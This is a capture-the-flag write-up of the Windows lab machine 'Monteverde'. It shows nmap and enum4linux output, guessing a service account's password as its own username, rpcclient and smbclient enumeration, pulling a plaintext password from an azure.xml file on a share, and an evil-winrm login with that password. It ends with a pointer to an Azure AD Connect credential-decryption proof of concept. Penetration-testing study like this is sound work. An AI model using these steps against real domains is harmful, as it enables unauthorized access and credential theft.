I began my enumeration with my normal procedures, NMAP and enum4linux:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748nmap -sV -sC -p- -oA monteverde.nmap 10.10.10.172Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 08:08 CSTNmap scan report for 10.10.10.172Host is up (0.043s latency).Not shown: 65516 filtered portsPORT STATE SERVICE VERSION53/tcp open domain?| fingerprint-strings: | DNSVersionBindReqTCP: | version|_ bind88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-30 14:20:09Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49667/tcp open msrpc Microsoft Windows RPC49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049670/tcp open msrpc Microsoft Windows RPC49673/tcp open msrpc Microsoft Windows RPC49699/tcp open msrpc Microsoft Windows RPC49771/tcp open msrpc Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port53-TCP:V=7.80%I=7%D=1/30%Time=5E32E3C7%P=x86_64-pc-linux-gnu%r(DNSVSF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\SF:x04bind\0\0\x10\0\x03");Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: 9m58s| smb2-security-mode: | 2.02: |_ Message signing enabled and required| smb2-time: | date: 2020-01-30T14:22:29|_ start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 380.55 seconds
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159enum4linux -a 10.10.10.172Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jan 30 08:17:35 2020 ==========================| Target Information | ==========================Target ........... 10.10.10.172RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ====================================================| Enumerating Workgroup/Domain on 10.10.10.172 | ====================================================[E] Can't find workgroup/domain ============================================| Nbtstat Information for 10.10.10.172 | ============================================ Looking up status of 10.10.10.172No reply from 10.10.10.172 =====================================| Session Check on 10.10.10.172 | ===================================== [+] Server 10.10.10.172 allows sessions using username '', password ''[+] Got domain/workgroup name: ===========================================| Getting domain SID for 10.10.10.172 | =========================================== Domain Name: MEGABANKDomain Sid: S-1-5-21-391775091-850290835-3566037492[+] Host is part of a domain (not a workgroup) ======================================| OS information on 10.10.10.172 | ====================================== [+] Got OS info for 10.10.10.172 from smbclient:[+] Got OS info for 10.10.10.172 from srvinfo:Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED =============================| Users on 10.10.10.172 | =============================index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domainindex: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray OLeary Desc: (null)index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)user:[Guest] rid:[0x1f5]user:[AAD_987d7f2f57d2] rid:[0x450]user:[mhope] rid:[0x641]user:[SABatchJobs] rid:[0xa2a]user:[svc-ata] rid:[0xa2b]user:[svc-bexec] rid:[0xa2c]user:[svc-netapp] rid:[0xa2d]user:[dgalanos] rid:[0xa35]user:[roleary] rid:[0xa36]user:[smorgan] rid:[0xa37] =========================================| Share Enumeration on 10.10.10.172 | ========================================= Sharename Type Comment --------- ---- -------SMB1 disabled -- no workgroup available[+] Attempting to map shares on 10.10.10.172 ====================================================| Password Policy Information for 10.10.10.172 | ==================================================== [+] Attaching to 10.10.10.172 using a NULL share[+] Trying protocol 445/SMB...[+] Found domain(s): [+] MEGABANK [+] Builtin[+] Password Info for Domain: MEGABANK [+] Minimum password length: 7 [+] Password history length: 24 [+] Maximum password age: 41 days 23 hours 53 minutes [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Minimum password age: 1 day 4 minutes [+] Reset Account Lockout Counter: 30 minutes [+] Locked Account Duration: 30 minutes [+] Account Lockout Threshold: None [+] Forced Log off Time: Not Set[+] Retieved partial password policy with rpcclient:Password Complexity: DisabledMinimum Password Length: 7 ==============================| Groups on 10.10.10.172 | ============================== [+] Getting builtin groups:group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]group:[Incoming Forest Trust Builders] rid:[0x22d]group:[Windows Authorization Access Group] rid:[0x230]group:[Terminal Server License Servers] rid:[0x231]group:[Users] rid:[0x221]group:[Guests] rid:[0x222]group:[Remote Desktop Users] rid:[0x22b]group:[Network Configuration Operators] rid:[0x22c]group:[Performance Monitor Users] rid:[0x22e]group:[Performance Log Users] rid:[0x22f]group:[Distributed COM Users] rid:[0x232]group:[IIS_IUSRS] rid:[0x238]group:[Cryptographic Operators] rid:[0x239]group:[Event Log Readers] rid:[0x23d]group:[Certificate Service DCOM Access] rid:[0x23e]group:[RDS Remote Access Servers] rid:[0x23f]group:[RDS Endpoint Servers] rid:[0x240]group:[RDS Management Servers] rid:[0x241]group:[Hyper-V Administrators] rid:[0x242]group:[Access Control Assistance Operators] rid:[0x243]group:[Remote Management Users] rid:[0x244]group:[Storage Replica Administrators] rid:[0x246][+] Getting builtin group memberships:Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDsGroup 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDsGroup 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDsGroup 'Guests' (RID: 546) has member: Couldn't lookup SIDsGroup 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDsGroup 'Users' (RID: 545) has member: Couldn't lookup SIDs
I did not limit the output of either of these tools, and as you can see enum4linux contained a lot of information! Including a list of user names. I moved foeard with impacket’s samrdump.py tool. There is a more detailed article which can be found here. Impacket’s samrdump.py targets Windows Security Account Manager (SAM) to retrieve sensative information about the target. Samrdump.py lists out all the system shares, user accounts and other possible information about the target.
Again, a ton of output! This got to my first wall of the machine. It took me quite some time to figure out, that through bad administrator practices, sometimes passwords are set the same as account names. I began trying to connect with rpcclient with a service account name, and the name as a password.
Rpcclient is a tool for executing client-side Microsoft Remote Procedure Call (RPC) functions. Initially, RPC was used to create Windows client/server model in Windows NT. It is still available for use in current Windows systems.
And with that, I was now logged in. One of my favorite guides to enumerate RPC can be locaed from a SANS guide, located here. Using this guide, I used a lookupnames call for the users, and mhope returned some information about a Home Drive:
1234567891011121314151617181920212223242526272829rpcclient $> lookupnames mhopemhope S-1-5-21-391775091-850290835-3566037492-1601 (User: 1)rpcclient $> queryuser 1601 User Name : mhope Full Name : Mike Hope Home Drive : \\monteverde\users$\mhope Dir Drive : H: Profile Path: Logon Script: Description : Workstations: Comment : Remote Dial : Logon Time : Fri, 31 Jan 2020 10:18:59 CST Logoff Time : Wed, 31 Dec 1969 18:00:00 CST Kickoff Time : Wed, 13 Sep 30828 21:48:05 CDT Password last set Time : Thu, 02 Jan 2020 17:40:06 CST Password can change Time : Fri, 03 Jan 2020 17:40:06 CST Password must change Time: Wed, 13 Sep 30828 21:48:05 CDT unknown_2[0..31]... user_rid : 0x641 group_rid: 0x201 acb_info : 0x00000210 fields_present: 0x00ffffff logon_divs: 168 bad_password_count: 0x00000000 logon_count: 0x00000002 padding1[0..7]... logon_hrs[0..21]...
And again, I used another tool to attempt to connect to this remote home directory! I used another common enumeration tool, smbclient. Smbclient is a tool that can be viewed as similar to FTP on a local network. It connects to a local resource to access the SMB/CIFS resources on a remote computer. The SMB/CIFS is Server Message Block/Common Internet File System resource. Using smbclient, I used the same login information for rpcclient to login to smbclient:
12345678910111213smbclient \\\\10.10.10.172\\users$ -U MEGABANK/SABatchJobsEnter MEGABANK\SABatchJobs's password: SABatchJobsTry "help" to get a list of possible commands.smb: \> ls . D 0 Fri Jan 3 07:12:48 2020 .. D 0 Fri Jan 3 07:12:48 2020 dgalanos D 0 Fri Jan 3 07:12:30 2020 mhope D 0 Fri Jan 3 07:41:18 2020 roleary D 0 Fri Jan 3 07:10:30 2020 smorgan D 0 Fri Jan 3 07:10:24 2020 524031 blocks of size 4096. 519955 blocks available
I can connect, and I also see a list of possible directories. I manually enumerated these directories, and when I viewed mhope’s, I found an xml file:
123456smb: \mhope\> ls . D 0 Fri Jan 3 07:41:18 2020 .. D 0 Fri Jan 3 07:41:18 2020 azure.xml AR 1212 Fri Jan 3 07:40:23 2020 524031 blocks of size 4096. 519955 blocks available
I then use the get command to download the xml:
12smb: \mhope\> get azure.xmlgetting file \mhope\azure.xml of size 1212 as azure.xml (7.1 KiloBytes/sec) (average 7.1 KiloBytes/sec)
Once on my computer, I quickly found a password available for mhope:
And with that, I had user credentials! As I always do, once I have credentials on a Windows machine I attempted to login with Evil-WinRM. This is an evil implenetation of the Windows Remote Management tool. It allows attackers to log into computers and provides a lot of features for testers to use, including the ability to quickly upload and download files. I logged in, and was able to own user on the box:
123456789101112131415161718evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$*Evil-WinRM* PS C:\Users\mhope\Documents> whoamimegabank\mhope*Evil-WinRM* PS C:\Users\mhope\Documents> cd ..\Desktop*Evil-WinRM* PS C:\Users\mhope\Desktop> ls Directory: C:\Users\mhope\DesktopMode LastWriteTime Length Name---- ------------- ------ -----ar--- 1/3/2020 5:48 AM 32 user.txt*Evil-WinRM* PS C:\Users\mhope\Desktop> more user.txt4961976bd7d8f4exxxxxxxxxxxxxxxx
Now that I have owned user, time to move onto root. I used Just Another Windows (Enum) Script, also known as JAWS. This is another go-to tool for CTF style machines, to quickly identify escelation paths. When I ran the script on Monteverde, I found in part of the output, that there were some interesting recently modified files:
12345678910111213----------------------------------------------------------- 10 Last Modified Files in C:\User-----------------------------------------------------------C:\Users\mhope\.Azure\AzurePSDataCollectionProfile.jsonC:\Users\mhope\.AzureC:\Users\mhope\.Azure\ErrorRecordsC:\Users\mhope\.Azure\ErrorRecords\New-AzADServicePrincipal_2020-01-03-T05-35-17-334.logC:\Users\mhope\.Azure\AzureRmContext.jsonC:\Users\mhope\.Azure\TokenCache.datC:\Users\mhope\DesktopC:\Users\mhope\Desktop\user.txtC:\Users\mhope\DocumentsC:\Users\mhope\Documents\jaws.ps1
The fact that there were Azure files in the home directory had me begin looking at what was installed on the box. Looking in the “C:\Program Files (x86)” directory, there is the Azure AD Sync tool installed. Looking at this as a possible privilege escalation path, I did some Google-Fu and discovered this article to better understand the tool: https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/.
Furthering my invrstigation, I then found a POC of a way to decrypt the username and password for this tool, very cool! The script can be found at https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545. However, there was some tweaking that needed to be done to the script for it to run:
And with my script ready, I had to transfer it to Monteverde. In the directory that the azure_decrypt_msol.ps1 script was located in, I spun up a quick python web server. Once hosted, on Monteverde I downloaded the file with PowerShell, and ran the script: